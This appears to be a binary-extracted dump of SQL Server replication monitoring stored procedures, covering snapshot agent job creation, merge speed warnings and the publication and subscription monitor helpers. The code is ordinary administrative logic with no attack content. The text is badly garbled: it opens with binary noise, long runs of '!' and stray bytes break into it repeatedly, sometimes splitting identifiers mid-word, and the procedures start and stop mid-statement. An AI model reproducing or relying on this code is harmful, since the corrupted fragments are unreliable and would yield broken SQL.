;@p1!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! K.1H_
n%Z	1}&;\
c

?|1

F
		g		;^o$7z5N
w.I`<<p	 SZ,mpublication, publication_type,
                                        local_job, profile_id, dynamic_filter_login, dynamic_filter_hostname,
                                        publisher_security_mode, publisher_login, publisher_password)
                VALUES (@dynamic_snapshot_jobname,@publisher_id, @publisher_db, @publication, @publication_type, 
                        @local_job, @profile_id, @dynamic_filter_login, @dynamic_filter_hostname,  
                        @publisher_security_mode, @publisher_login, @publisher_password)
        IF @@ERROR <> 0
            goto UNDO

        set @dynamic_snapshot_agent_id = @@IDENTITY
    end
    else
        select @dynamic_snapshot_agent_id = id from MSsnapshot_agents where
            publisher_id = @publisher_id and
            publisher_db = @publisher_db and
            publication = @publication and
            ((@dynamic_filter_login is NULL and dynamic_filter_login is NULL) or dynamic_filter_login = @dynamic_filter_login)  and
            ((@dynamic_filter_hostname is NULL and dynamic_filter_hostname is NULL) or dynamic_filter_hostname = @dynamic_filter_hostname)

    if @dynamic_filter_login is not null and @dynamic_filter_login <> N''
    begin
        select @agent_command_line = @agent_command_line + @dynamicfilterloginparam + N'[' + rtrim(@dynamic_filter_login) + N']' 
    end

    if @dynamic_filter_hostname is not null and @dynamic_filter_hostname <> N''
    begin
        select @agent_command_line = @agent_command_line + @dynamicfilterhostnameparam + N'[' + rtrim(@dynamic_filter_hostname) + N']' 
    end

    -- @dynamic_snapshot_location is assumed to be non-empty
    select @agent_command_line = @agent_command_line + @dynamicsnapshotlocationparam + N'[' + @dynamic_snapshot_location + N']'
    

    -- Add partition id if it is not null
    if @partition_id is not null
    begin
        select @agent_command_line = @agent_command_line + N' -PartitionId ' + convert(nvarchar(10), @partition_id) 
    end

    -- Add the job
    exec @retcode = dbo.sp_MSadd_repl_job
         @name = @dynamic_snapshot_jobname,
         @subsystem = 'Snapshot',
         @server = @@servername,
         @databasename = @db_name,
         @enabled = 1,
         @freqtype = @freqtype,
         @freqinterval = @freqinterval,
         @freqsubtype = @freqsubtype,
         @freqsubinterval = @freqsubinterval,
         @freqrecurrencefactor = @freqrecurrencefactor,
         @activestartdate = @activestartdate,
         @activeenddate = @activeenddate,
         @activestarttimeofday = @activestarttimeofday,
         @activeendtimeofday = @activeendtimeofday,
         @nextrundate = 0,
         @nextruntime = 0,
         @runpriority = 0,
         @emailoperatorname = @nullchar,
         @retryattempts = 10,
         @retrydelay = 1,
         @command = @agent_command_line,
         @loghistcompletionlevel = 0,
         @emailcompletionlevel = 0,
         @description = @nullchar,
         @tagobjectid = 0,
         @tagobjecttype = 0,
         @category_name = @category_name,
         @failure_detection = 1,
         @agent_id = @dynamic_snapshot_agent_id,
         @proxy_id = @proxy_id,
         @job_id = @dynamic_snapshot_jobid OUTPUT,
         @job_step_uid = @dynamic_snapshot_job_step_uid OUTPUT

    if @retcode <> 0 or @@error <> 0
        goto UNDO
    
    update MSsnapshot_agents 
    	set job_id = @dynamic_snapshot_jobid, 
    		name = @dynamic_snapshot_jobname, 
    		local_job = @local_job,
    		job_step_uid = @dynamic_snapshot_job_step_uid
    	where id = @dynamic_snapshot_agent_id
    if @@error <> 0
        goto UNDO
    
    COMMIT TRAN

    RETURN(0)

UNDO:
    if @@TRANCOUNT = 1
        ROLLBACK TRAN
    else
        COMMIT TRAN
    return(1)
end
TOTOd  
            else if (@metric_id = @mergeslowrunspeedChosen)
            begin
                if (@value is not null)
                begin
                    -- compare latest speed with chosen speed
                    update #tmp_replmonitorrefresh
                    set warning = warning | (case when (@warning is null) then @warningbitstatus
                                                                    else (@warning | @warningbitstatus) end)
                        where agent_id in
                            (select sess.agent_id 
                                from dbo.MSmerge_sessions as sess with (nolock), 
                                dbo.MSmerge_agents as agt with (nolock), 
                                dbo.MSpublications as pubs with (nolock),
                                (
                                select agent_id, max(start_time) as maxtime 
                                from dbo.MSmerge_sessions with (nolock)
                                where connection_type=2 -- DUN
                                group by agent_id
                                ) as latest
                                where pubs.publication_id= @publication_id
                                    and pubs.publisher_id = agt.publisher_id
                                    and pubs.publisher_db = agt.publisher_db
                                    and pubs.publication = agt.publication
                                    and agt.id=sess.agent_id
                                    and sess.start_time=latest.maxtime
                                    and sess.agent_id=latest.agent_id
                                    and sess.delivery_rate < @value
                                    and (sess.upload_inserts + sess.upload_deletes + sess.upload_updates + sess.download_inserts 
                                                            + sess.download_deletes + sess.download_updates) >= 50
                                    and sess.delivery_rate is not null)
                            and (agent_type & 4) = 4
                    if @@rowcount > 0
                    begin
                        --
                        -- update the current warning status for the publication
                        --
                        select @warning = case when (@warning is null) then @warningbitstatus
                                                            else (@warning | @warningbitstatus) end
                    end                
                end
            end
        end -- if  else (@publication_type <> 2)
        
        if (@warning is not null)
        begin
            -- Raise alert if needed
            if (@shouldalert = 1)
                raiserror(@alertmessageid, 10, -1, @title, @description, @publication)
        end
        --
        -- fetch next threshold
        --
        fetch #hccomputewarning into @publication_id, @metric_id, @value, @shouldalert, @title, @warningbitstatus, @alertmessageid, @description, @publication_type, @publication
        
    end -- (@@fetch_status != -1)
    
    close #hccomputewarning
    deallocate #hccomputewarning
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(q	Av$screate procedure sys.sp_replmonitorhelppublication 
(
    @publisher sysname = NULL -- pubisher -  cannot be null for sql 2008 or before, for sql 11 or later null means all publisher
    ,@publisher_db sysname = NULL -- NULL for wildcard entry
    ,@publication sysname = NULL -- NULL for wildcard entry
    ,@publication_type int = NULL -- NULL for wildcard entry
    ,@refreshpolicy tinyint = 0 -- 0 = default cache refresh, 1 = optimistic force refresh, 2 = non-optimistic force refresh
)
as
begin
    set nocount on
    set ansi_warnings off
    declare @retcode int
    --
    -- constants
    --
    declare  @status int
                ,@warning int
                ,@worst_latency int
                ,@best_latency int
                ,@average_latency int
                ,@last_distsync datetime
                ,@retention int
                ,@subscriptioncount int
                ,@runningdistagentcount int
                ,@snapshot_agentname sysname 
                ,@logreader_agentname sysname 
                ,@qreader_agentname sysname 
                ,@expiration int
                ,@latency int
                ,@worst_runspeedPerf int
                ,@best_runspeedPerf int
                ,@average_runspeedPerf int 
         
    --
    -- initialize constants
    --
    select @expiration = 1
                ,@latency = 2

/*
-- warning bitmap definition
Expiration                      1                    	Threshold to warn expiration of subscription to a transactional publication - percentage of retention in hours
latency                          2                      The time taken to replicate data from the transactional publisher (committed) to the subscriber (committed) - in seconds
mergeexpiration             4                      Threshold to warn expiration of merge subscription to a publication - percentage of retention in hours
mergerunspeedDUN       8                      Merge delivery rate - in rows/seconds for slow connection
mergerunspeedLAN        16                     Merge delivery rate - in rows/seconds for fast connection
mergerundurationDUN    32                     The time taken to finish one merge run - in seconds for slow connection
mergerundurationLAN     64                     The time taken to finish one merge run - in seconds for fast connection.
*/
                
    create table #tmp_publicationdata 
    (
        -- internal use
        publication_id int
        ,distribution_db sysname
        -- static
        ,publisher_db sysname
        ,publication sysname
        ,publication_type int
        -- dynamic
        ,status int				-- publication status defined as max(status) among all agents
        ,subscriptioncount int		-- # of subscription
        ,runningdistagentcount int	-- # of running agents
        ,last_distsync datetime		-- last sync time
        ,warning int 				-- publication warning defined as max(isnull(warning,0)) among all agents
        						-- TODO: change semantics
        ,retention int				-- retention period
        -- tran specific        
        ,snapshot_agentname sysname null
        ,logreader_agentname sysname null
        ,qreader_agentname sysname null
        ,worst_latency int
        ,best_latency int
        ,average_latency int
        ,latencythreshold int
        ,expirationthreshold int
        ,agentnotrunningthreshold int
        ,worst_runspeedPerf int
        ,best_runspeedPerf int
        ,average_runspeedPerf int 
        ,retention_period_unit tinyint
        -- for SQL 11 or later only if user specifies null for publisher name
        ,publisher sysname null
    )
    create clustered index cpublicationdata on #tmp_publicationdata (publication, publication_type, publisher_db)

    --
    -- security check : replmonitor
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security: Has to be executed from distribution database
    --
    if sys.fn_MSrepl_isdistdb (db_name()) != 1
    begin
        raiserror (21482, 16, -1, 'sp_replmonitorhelppublication', 'distribution')
        return 1
    end
    --
    -- create temp table to get the monitoring data
    --
    create table #tmp_replication_monitordata  
    (
        publication_id int
        ,publisher sysname
        ,publisher_srvid int
        ,publisher_db sysname 
        ,publication sysname 
        ,publication_type int
        ,agent_type int 
        ,agent_name sysname
        ,job_id uniqueidentifier
        ,status int
        ,isagentrunningnow bit
        ,warning int
        ,last_distsync datetime
        ,agentstoptime datetime
        ,distdb sysname null
        ,retention int
        ,time_stamp datetime null
        ,worst_latency int
        ,best_latency int
        ,avg_latency int
        ,cur_latency int 
        ,mergePerformance int
        ,mergelatestsessionrunduration int
        ,mergelatestsessionrunspeed float
        ,mergelatestsessionconnectiontype int
        ,retention_period_unit tinyint
    )
    if @@error != 0
    begin
        raiserror(20507, 16, 2, '#tmp_replication_monitordata', 'tempdb')
        return 1
    end
    --
    -- build indices
    --
    create nonclustered index nc1tmp_replication_monitordata 
        on #tmp_replication_monitordata(publisher_srvid) 
    create nonclustered index nc2tmp_replication_monitordata 
        on #tmp_replication_monitordata(agent_type) 
    create nonclustered index nc4tmp_replication_monitordata 
        on #tmp_replication_monitordata(publisher) 
    create nonclustered index nc5tmp_replication_monitordata 
        on #tmp_replication_monitordata(publication, publisher_db) 
    create nonclustered index nc6tmp_replication_monitordata 
        on #tmp_replication_monitordata(agent_name) 
    if (@@error != 0)
        return 1
    --
    -- get refresh data
    --
    exec @retcode = sys.sp_replmonitorrefreshdata @publisher = @publisher
                    ,@publisher_db = @publisher_db
                    ,@publication = @publication
                    ,@publication_type = @publication_type
                    ,@refreshpolicy = @refreshpolicy
    if @@error != 0 or @retcode != 0
        return 1
    
    --
    -- build #tmp_publicationdata
    -- skip entries for publication with name = ALL
    --
    insert into #tmp_publicationdata 
    (
        distribution_db
        ,publisher_db 
        ,publication 
        ,publication_id
        ,publication_type
        ,publisher 
    )
    select distinct
        distdb
        ,publisher_db
        ,publication
        ,publication_id
        ,publication_type
        ,publisher 
    from #tmp_replication_monitordata
    where publication != N'ALL'
    --
    -- Now update the other columns
    --
    declare #hcrefreshmonitor cursor local fast_forward for 
        select publisher_db
                ,publication
                ,publication_type 
         from #tmp_publicationdata
    open #hcrefreshmonitor
    fetch #hcrefreshmonitor into @publisher_db, @publication, @publication_type
    while (@@fetch_status != -1)
    begin
        --
        -- get the values from all agents
        -- special publication name = ALL for logreader agent
        --
        select @status = max(status)
                ,@warning = max(isnull(warning,0))
                ,@worst_latency = max(worst_latency)
                ,@best_latency = min(best_latency)
                ,@average_latency = cast(avg(cast(avg_latency as bigint)) as int)
                ,@last_distsync = max(last_distsync)
                ,@retention = max(retention)
                ,@worst_runspeedPerf = min(mergePerformance)
                ,@best_runspeedPerf = max(mergePerformance)
                ,@average_ru!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
r	zd$snspeedPerf = avg (mergePerformance)
        from #tmp_replication_monitordata
        where publisher_db = @publisher_db
            and (publication = @publication or publication = 'ALL')
            and publication_type = @publication_type
        --
        -- subscriptioncount
        -- count the number dist/merge agents for the publication
        --
        -- @agent_type = 1-Snapshot, 2-Logreader, 3-Distribution, 4-Merge
        select @subscriptioncount = isnull(count(agent_name),0)
        from #tmp_replication_monitordata
        where publisher_db = @publisher_db
            and publication = @publication
            and publication_type = @publication_type
            and ((agent_type & 3) = 3 or (agent_type & 4) = 4)
        --
        -- runningdistagentcount
        -- count the number dist agents for the publication
        -- which are running now
        --
        select @runningdistagentcount = isnull(count(agent_name),0)
        from #tmp_replication_monitordata
        where publisher_db = @publisher_db
            and publication = @publication
            and publication_type = @publication_type
            and (agent_type & 3) = 3
            and isagentrunningnow = 1
        --
        -- Get the agent names
        --
        -- join this with MSsnapshot_agents to make sure that we are getting the agent name
        -- of the regular snapshot agent and not the dynamic snapshot agent
        select @snapshot_agentname = t.agent_name
        from #tmp_replication_monitordata t
             inner join MSsnapshot_agents a on a.publisher_db = t.publisher_db collate database_default and 
                                            a.publication = t.publication collate database_default and 
                                            a.publisher_id = t.publisher_srvid and
                                            a.publication_type = t.publication_type and
                                            a.name = t.agent_name collate database_default
        where t.publisher_db = @publisher_db
            and t.publication = @publication
            and t.publication_type = @publication_type
            and t.agent_type = 1
            and a.dynamic_filter_login is NULL 
            and a.dynamic_filter_hostname is NULL
        --
        -- logreader agent is per publisher_db
        --
        select @logreader_agentname = agent_name
        from #tmp_replication_monitordata
        where publisher_db = @publisher_db
            and agent_type = 2
        --
        -- if this is a queued publication
        -- list the queue reader agent
        --
        if exists (select * from dbo.MSpublications with (nolock)
            where publisher_db = @publisher_db
                and publication = @publication
                and publication_type = @publication_type
                and allow_queued_tran = 1)
        begin
            select @qreader_agentname = agent_name
                    ,@status = case when status > @status then status else @status end
            from #tmp_replication_monitordata
            where agent_type = 9
        end
        --
        -- update now
        --
        update #tmp_publicationdata 
        set status = @status
            ,warning = @warning
            ,worst_latency = @worst_latency
            ,best_latency = @best_latency
            ,average_latency = @average_latency
            ,last_distsync = @last_distsync
            ,retention = @retention
            ,subscriptioncount = @subscriptioncount
            ,runningdistagentcount = @runningdistagentcount
            ,snapshot_agentname = @snapshot_agentname
            ,logreader_agentname = @logreader_agentname
            ,qreader_agentname = @qreader_agentname
            ,worst_runspeedPerf = @worst_runspeedPerf
            ,best_runspeedPerf = @best_runspeedPerf
            ,average_runspeedPerf = @average_runspeedPerf
        where publisher_db = @publisher_db
            and publication = @publication
            and publication_type = @publication_type
        --
        -- get next row
        --
        fetch #hcrefreshmonitor into @publisher_db, @publication, @publication_type
    end
    close #hcrefreshmonitor
    deallocate #hcrefreshmonitor
    --
    -- populate the threshold values
    -- 
    update #tmp_publicationdata 
    set expirationthreshold = cast(sys.fn_replgetpublicationthreshold(publication_id, @expiration) as int)
        ,latencythreshold = cast(sys.fn_replgetpublicationthreshold(publication_id, @latency) as int)
    --
    -- select the result set
    --
    select 
        publisher_db 
        ,publication 
        ,publication_id
        ,publication_type
        ,status 
        ,warning 
        ,worst_latency 
        ,best_latency 
        ,average_latency 
        ,last_distsync 
        ,retention 
        ,latencythreshold 
        ,expirationthreshold 
        ,agentnotrunningthreshold 
        ,subscriptioncount 
        ,runningdistagentcount 
        ,snapshot_agentname
        ,logreader_agentname
        ,qreader_agentname
        ,worst_runspeedPerf
        ,best_runspeedPerf
        ,average_runspeedPerf
        ,retention_period_unit
        ,publisher
    from #tmp_publicationdata
    order by publisher, publisher_db, publication, publication_type
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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u:create procedure sys.sp_replmonitorhelpsubscription 
(
    @publisher sysname = NULL  -- pubisher -  cannot be null for sql server 2008 or before. for SQL 11 or later, means all publishers
    ,@publisher_db sysname = NULL -- NULL for wildcard entry
    ,@publication sysname = NULL -- NULL for wildcard entry
    ,@publication_type int = NULL -- cannot be null in wildcard entry
    ,@mode int = 0 -- various filter modes
    ,@topnum int = NULL  -- select only top topnum rows
    ,@exclude_anonymous bit = 0 -- exclude anonymous subscribers
    ,@refreshpolicy tinyint = 0 -- 0 = default cache refresh, 1 = optimistic force refresh, 2 = non-optimistic force refresh
)
as
begin
    set nocount on
    declare @retcode int
                ,@curdate datetime
    --
    -- constants
    --

    declare @expiration int
                ,@latency int
                ,@distribution_agentname sysname
                ,@mergeexpirationChosen int
                ,@mergerundurationChosen int
                ,@mergestoppedcontinuousagentChosen int
                ,@mergerunspeedChosen int
                ,@modeallsubscription tinyint
                ,@modeinerroronly tinyint
                ,@modeinwarningonly tinyint
                ,@modeinerrorandwarningonly tinyint
                ,@modetop25worstperforming tinyint
                ,@modetop50worstperforming tinyint
                ,@modesynchronizing tinyint
                ,@modenotsynchronizing tinyint

    --
    -- initialize constants
    --
    select @expiration = 1
                ,@latency = 2
                ,@mergeexpirationChosen=4
                ,@mergerundurationChosen=5
                ,@mergestoppedcontinuousagentChosen=6
                ,@mergerunspeedChosen=7
                ,@modeallsubscription = 0
                ,@modeinerroronly = 1
                ,@modeinwarningonly = 2
                ,@modeinerrorandwarningonly = 3
                ,@modetop25worstperforming = 4
                ,@modetop50worstperforming = 5
                ,@modesynchronizing = 6
                ,@modenotsynchronizing = 7

    --
    -- security check : replmonitor
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security: Has to be executed from distribution database
    --
    if sys.fn_MSrepl_isdistdb (db_name()) != 1
    begin
        raiserror (21482, 16, -1, 'sp_replmonitorhelpsubscription', 'distribution')
        return 1
    end
    --
    -- validate @publication_type
    --
    if (@publisher_db is NULL or @publication is NULL) 
        and @publication_type is NULL 
    begin
        raiserror(20587, 16, -1, '@publication_type', 'sp_replmonitorhelpsubscription')
        return (1)
    end
    --
    -- validate @mode
    --
    if (@mode not in (@modeallsubscription,@modeinerroronly,@modeinwarningonly,@modeinerrorandwarningonly
                ,@modetop25worstperforming,@modetop50worstperforming,@modesynchronizing,@modenotsynchronizing))
    begin
        raiserror(20587, 16, -1, '@mode', 'sp_replmonitorhelpsubscription')
        return (1)
    end
    --
    -- initialize constants
    --
    select @expiration = 1
                ,@latency = 2
                ,@curdate = getdate()
                
    --
    -- create temp table to get the monitoring data
    --
    create table #tmp_replication_monitordata  
    (
        publication_id int
        ,publisher sysname
        ,publisher_srvid int
        ,publisher_db sysname 
        ,publication sysname 
        ,publication_type int
        ,agent_type int 
        ,agent_name sysname
        ,job_id uniqueidentifier
        ,status int
        ,isagentrunningnow bit
        ,warning int                        -- latest session's warning
        ,last_distsync datetime        -- last sync time
        ,agentstoptime datetime      -- agent stop time
        ,distdb sysname null
        ,retention int
        ,time_stamp datetime null
        ,worst_latency int
        ,best_latency int
        ,avg_latency int
        ,cur_latency int 
        ,mergePerformance int
        ,mergelatestsessionrunduration int
        ,mergelatestsessionrunspeed float
        ,mergelatestsessionconnectiontype int
        ,retention_period_unit tinyint
    )
    if @@error != 0
    begin
        raiserror(20507, 16, 3, '#tmp_replication_monitordata', 'tempdb')
        return 1
    end
    --
    -- build indices
    --
    create nonclustered index nc1tmp_replication_monitordata 
        on #tmp_replication_monitordata(publisher_srvid) 
    create nonclustered index nc2tmp_replication_monitordata 
        on #tmp_replication_monitordata(agent_type) 
    create nonclustered index nc4tmp_replication_monitordata 
        on #tmp_replication_monitordata(publisher) 
    create nonclustered index nc5tmp_replication_monitordata 
        on #tmp_replication_monitordata(publication, publisher_db) 
    create nonclustered index nc6tmp_replication_monitordata 
        on #tmp_replication_monitordata(agent_name) 
    if (@@error != 0)
        return 1
    --
    -- Get refresh data
    --
    exec @retcode = sys.sp_replmonitorrefreshdata @publisher=@publisher
                ,@publisher_db=@publisher_db
                ,@publication=@publication
                ,@publication_type=@publication_type
                ,@refreshpolicy = @refreshpolicy
    if @@error != 0 or @retcode != 0
        return 1
    --
    
    --
    -- set @publication_type for specific publication query
    -- and validate 
    --
    if (@publication_type is null)
    begin
        select @publication_type = publication_type
        from #tmp_replication_monitordata
        where upper(publisher) = upper(@publisher)
            and publisher_db = @publisher_db
            and publication = @publication
    end
    else if (@publication_type not in (0,1,2))
    begin
        raiserror(20587, 16, -1, '@publication_type', 'sp_replmonitorhelpsubscription')
        return (1)
    end
    -- 
    -- Adjust the rows to return
    --
    if (@mode in (@modetop25worstperforming, @modetop50worstperforming))
    begin
        if (@mode = @modetop25worstperforming)
            select @topnum = case when (isnull(@topnum, 30) > 25) then 25 else @topnum end
        else
            select @topnum = case when (isnull(@topnum, 60) > 50) then 50 else @topnum end
    end
    --
    -- process based on publication_type
    --
    if (@publication_type in (0,1))
    begin
        create table #tmp_subscriptiondata
        (
            -- static
            publisher_srvid int
            ,publisher_db sysname
            ,publication sysname
            ,publication_id int
            ,subscriber_id int
            ,subscriber sysname null
            ,subscriber_db sysname
            ,publication_type int -- Type of publication: 0 = Transactional, 1 = Snapshot, 2 = Merge
            ,subtype int -- Type of subscription: dbo.MSmerge_subscriptions.subscription_type
            -- 0 = Push, 1 = Pull, 2 = Anonymous
            ,subscription_time datetime
            -- dynamic
            ,status int
            ,warning int
            ,monitorranking int
            ,last_distsync datetime
            -- tran
            ,distribution_agentname sysname null
            ,logreaderagent_status int null
            ,latency int
            ,latencythreshold int
            ,agentnotrunning int
            ,agentnotrunningthreshold int
            ,timetoexpiration int
            ,expirationthreshold int
            -- merge
            -- fill mergesubscriptionfriendlyname by dbo.MSmerge_subscriptions.description
            ,mergesubscriptionfriendlyname sysname null
            ,mergeconnectiontype int null
            ,mergeagentn!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(t	Ckcvu:ame sysname null
            ,mergeagentlocation sysname null
            -- among all session of this subscription, depending on latest connection type
            -- calc average of run_speed among the subset,
            -- current_run_speed/avg_run_speed
            ,mergePerformance int null
            ,mergerunspeed float null --latest running session
            ,mergerunduration int null --latest running session
            -- Added later - see if we can reorder
            ,distributionagentjobid  binary(16) null
            ,mergeagentjobid binary(16) null
            ,distributionagentid int null
            ,distributionagentprofileid int null
            ,mergeagentid int null
            ,mergeagentprofileid int null
            ,logreaderagentname sysname null
            ---only for SQL11 or later
            ,publisher sysname null
        )

        create clustered index csubscriptiondata on #tmp_subscriptiondata (monitorranking desc)
        create index nc1subscriptiondata on #tmp_subscriptiondata (distribution_agentname)
        create index nc2subscriptiondata on #tmp_subscriptiondata (latency desc)
        create index nc3subscriptiondata on #tmp_subscriptiondata (mergePerformance)
        create index nc4subscriptiondata on #tmp_subscriptiondata (publisher_srvid, publisher_db, publication_id, subscriber_db, subscriber_id)
        create index nc5subscriptiondata on #tmp_subscriptiondata (mergeagentname)
    
        -- **************************************
        -- build #tmp_subscriptiondata for tran
        -- both snaphot and transactional subscriptions will have a distribution agent
        -- Get the subscription details based on the distribution agent
        --
        insert into #tmp_subscriptiondata
        (
            subscriber_id 
            ,subscriber
            ,subscriber_db 
            ,publisher_srvid
            ,publisher_db 
            ,publication 
            ,publication_id 
            ,publication_type
            ,subtype
            ,distribution_agentname
            ,distributionagentjobid
            ,distributionagentid
            ,distributionagentprofileid
            ,publisher
        )
        select distinct s.subscriber_id,
                case when s.anonymous_subid is not null then  -- anonymous subscription
                    upper(s.subscriber_name)    -- name is stored in subscriber_name instead of sys.servers
                else
                    upper(srv.name)
                end
                ,s.subscriber_db
                ,r.publisher_srvid
                ,r.publisher_db
                ,r.publication
                ,r.publication_id
                ,r.publication_type
                ,s.subscription_type
                ,r.agent_name
                ,s.job_id
                ,s.id
                ,s.profile_id
                ,r.publisher
        from #tmp_replication_monitordata as r 
            join dbo.MSdistribution_agents as s with (nolock)
                on r.publisher_srvid = s.publisher_id
                and r.publisher_db = s.publisher_db collate database_default
                and (r.publication = s.publication collate database_default or s.publication = 'ALL' collate database_default) 
                and s.subscriber_id >= 0    -- skip the virtual subscriptions
                and (r.agent_type & 3) = 3 -- we select the distribution agent entries to optimize
                and (@exclude_anonymous = 0 or s.anonymous_subid is null) -- anonymous
                and r.job_id = cast(s.job_id as uniqueidentifier)
            join sys.servers as srv
                on srv.server_id = s.subscriber_id
        --
        -- get the latest subscription_time for the subscription to each publication
        --
        update #tmp_subscriptiondata 
        set subscription_time = (select max(s.subscription_time)
                                            from dbo.MSsubscriptions as s with (nolock)
                                            where subscriber_id = s.subscriber_id
                                                and subscriber_db = s.subscriber_db
                                                and publisher_srvid = s.publisher_id
                                                and publisher_db = s.publisher_db
                                                and publication_id = s.publication_id 
                                                and subtype = s.subscription_type)
        --
        -- The logreader agent status needs to incorporated in the subscription status
        --
        update #tmp_subscriptiondata                                                 
        set logreaderagent_status = isnull(r.status,0)
            ,logreaderagentname = r.agent_name
        from #tmp_subscriptiondata as s
            join #tmp_replication_monitordata as r
                on s.publisher_srvid = r.publisher_srvid
                    and s.publisher_db = r.publisher_db
                    and r.agent_type=2
                    and s.publication_type = 0
        --
        -- set the status of the subscription based on the type of 
        -- publication and agents status that are involved
        -- populate the threshold values
        -- populate other fields from #tmp_replication_monitordata
        --
        update #tmp_subscriptiondata 
        set expirationthreshold = cast(sys.fn_replgetpublicationthreshold(r.publication_id, @expiration) as int)
            ,latencythreshold = cast(sys.fn_replgetpublicationthreshold(r.publication_id, @latency) as int)
            ,warning = r.warning
            ,status = case 
                                -- when snapshot publication - use distribution agent status
                                when (r.publication_type = 1) then r.status
                                -- else we have transactional publication
                                else
                                    case 
                                        -- Error = when any one agent has error
                                        when (r.status = 6 or logreaderagent_status = 6) then 6
                                        -- Retry = when any one agent has retry
                                        when (r.status = 5 or logreaderagent_status = 5) then 5
                                        -- Stopped = when any one agent has stopped
                                        when (r.status = 2 or logreaderagent_status = 2) then 2
                                        -- Idle (Running) = when both agents are idle
                                        when (r.status = 4 and logreaderagent_status = 4) then 4
                                        -- Inprogress (Running) = when any one agent is in progress and the other is still running
                                        when (r.status = 3 and logreaderagent_status in (3, 4) 
                                            or logreaderagent_status = 3 and r.status in (3, 4)) then 3
                                        -- Startup (Running) =  when any one agent is in startup and the other is still running
                                        when (r.status = 1 and logreaderagent_status in (1, 3, 4) 
                                            or logreaderagent_status = 1 and r.status in (1, 3, 4)) then 1
                                        -- we should not come here
                                        else 0
                                    end
                            end
            ,latency = r.cur_latency
            ,agentnotrunning = case when (r.agentstoptime is null) then null else datediff(hour, r.agentstoptime, @curdate) end
            ,last_distsync = r.last_distsync
            ,timetoexpiration = case when (r.retention is null) then null else datediff(hour, @curdate, dateadd(hour, r.retention, subscription_time)) end
        fr!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(u	?@vu:om #tmp_replication_monitordata as r
        where r.agent_name = distribution_agentname 
        --
        -- Set the monitor ranking based on status, warning, publication_type
        --
